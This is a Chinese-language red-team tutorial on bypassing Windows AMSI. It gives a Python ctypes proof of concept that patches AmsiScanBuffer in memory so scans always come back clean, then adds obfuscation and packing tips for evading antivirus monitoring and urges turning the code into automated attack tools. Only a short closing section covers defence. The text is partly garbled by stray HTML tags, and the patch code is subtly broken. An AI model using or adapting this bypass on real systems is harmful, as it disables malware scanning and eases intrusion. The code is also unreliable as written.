一、AMSI是什么?攻击者为何要绕过它?
Windows反恶意软件扫描接口简析
在现代Windows系统中,AMSI(Anti-Malware Scan Interface)是一道至关重要的安全屏障。它充当着操作系统与安全软件之间的桥梁,负责实时检测并拦截恶意代码,尤其是脚本语言(如PowerShell、VBScript和JavaScript)中的危险行为。无论攻击者如何混淆,脚本执行到内存时都会被AMSI拦截并扫描。这对于红队来说,是一个非常棘手的限制。

AMSI的工作机制看似简单,但却极具威胁性:
- 当脚本语言解释器加载脚本内容时,AMSI会拦截并调用相关API,将脚本的内容发送给系统的杀软。
- 杀毒软件扫描后,对恶意代码进行拦截。
- 如果脚本被判定为恶意,其执行会被终止,攻击链中断。
对于攻击者来说,绕过AMSI检测是一项技术挑战,也是突破Windows防线的关键一步。接下来,我们将从原理到实战,详细解析如何规避AMSI。
---

二、构造测试环境:让脚本在受控环境中运行

为了展示AMSI绕过的实战过程,我们需要一个基础测试环境。以下是构建环境的步骤:
测试环境准备
目标操作系统: Windows 10/11 防护软件: Windows Defender(启用实时保护) 工具列表:
- PowerShell
- Python(用于编写绕过工具)
- Kali Linux(用于网络操作)
环境搭建步骤
- 启用Windows Defender
确保Windows Defender的实时保护功能已开启,以验证AMSI的效果。 <pre><code class="language-bash"> Set-MpPreference -EnableRealtimeMonitoring $true `
- 安装Python
在目标Windows机器上安装Python 3.9+,确保能够运行自定义脚本。
- 验证AMSI功能是否正常
编写一个简单的恶意PowerShell脚本,观察是否会被拦截: `powershell $MaliciousCode = "New-Object IO.FileStream('C:\Windows\System32\cmd.exe','Open','Read')" Invoke-Expression $MaliciousCode ` 如果脚本被拦截,说明AMSI正在发挥作用。
- 搭建攻击者机
在Kali Linux中安装常规攻击工具(如Metasploit、Cobalt Strike等)。这将用于后续远程交互。

---
三、动态绕过:修改内存中的AMSI行为
攻击思路
AMSI的机制依赖于内存中的一系列函数调用,比如AmsiScanBuffer。攻击者可以通过修改这些函数的行为,使其返回无害结果,从而骗过杀软的检测。
简单地说:
- 我们的目标是让
AmsiScanBuffer函数失效。 - 通过直接修改内存,或利用反射技术,改变函数返回值。
POC代码实现
以下代码使用Python结合ctypes模块,在内存中修改AmsiScanBuffer函数,让它始终返回OK状态。记住,这仅用于学习和研究。 </code></pre>python import ctypes
def bypass_amsi():
定义所有所需的函数、参数和标志位
kernel32 = ctypes.windll.kernel32 amsi_dll = ctypes.windll.LoadLibrary("amsi.dll") amsi_func = amsi_dll.AmsiScanBuffer
使用WinAPI获取AMSI函数的地址
func_addr = kernel32.GetProcAddress(ctypes.windll.kernel32.GetModuleHandleA(b"amsi.dll"), b"AmsiScanBuffer") if not func_addr: print("[x] 无法获取AmsiScanBuffer地址") return False
修改函数内存,将返回值强制设置为允许(0x0定义为OK状态)
patch = ctypes.c_char(b"\x48\x31\xC0\xC3") # ASM: xor rax, rax; ret old_protect = ctypes.c_long() kernel32.VirtualProtect(func_addr, len(patch), 0x40, ctypes.byref(old_protect)) # 0x40 = PAGE_EXECUTE_READWRITE
ctypes.memmove(func_addr, patch, len(patch)) kernel32.VirtualProtect(func_addr, len(patch), old_protect.value, ctypes.byref(old_protect))
print("[+] 成功绕过AMSI") return True
if __name__ == "__main__": bypass_amsi() <pre><code>
注释剖析
- 获取函数地址:通过
GetProcAddress获取目标函数AmsiScanBuffer的内存地址。 - 内存修改:使用
VirtualProtect改变内存保护状态,然后写入汇编指令。 - 指令解释:
xor rax, rax将返回值设置为0(表示无威胁),随后立即返回。
---
四、免杀技巧:如何规避杀软的行为监控
即使成功绕过AMSI,杀毒软件仍可能通过行为监控发现异常。以下是一些常用的免杀技巧:
代码混淆
将绕过逻辑拆分为多个模块,通过动态加载降低可识别性。例如:</code></pre>python def dynamic_load(): exec("import ctypes") exec("ctypes.windll.kernel32")
dynamic_load() `
加壳工具
使用工具(如PyArmor)对代码进行加壳,隐藏函数调用。
---
五、攻击者的经验总结
作为攻击者,需要不断创新和学习。以下是个人的实战总结:
- 动态分析系统行为:通过调试工具(如x64dbg)观察函数调用流程,是绕过的关键。
- 模块化攻击链设计:将绕过AMSI与后续攻击分离,确保每一步都隐蔽。
- 武器化工具开发:将POC代码转化为自动化工具,是红队的核心能力。
---
六、如何有效检测与防御?
对于防御者而言,防止AMSI绕过是一项复杂的任务。以下是一些建议:
- 使用EDR产品:更高级的EDR可以直接检测内存中的修改行为。
- 加强脚本审计:监控PowerShell运行时的所有操作。
- 禁用非必要的脚本语言:尤其是在服务器端,减少攻击面。
攻守之道,从来都是一场技术的博弈。希望这篇文章能为各位安全从业者提供一些思路和帮助。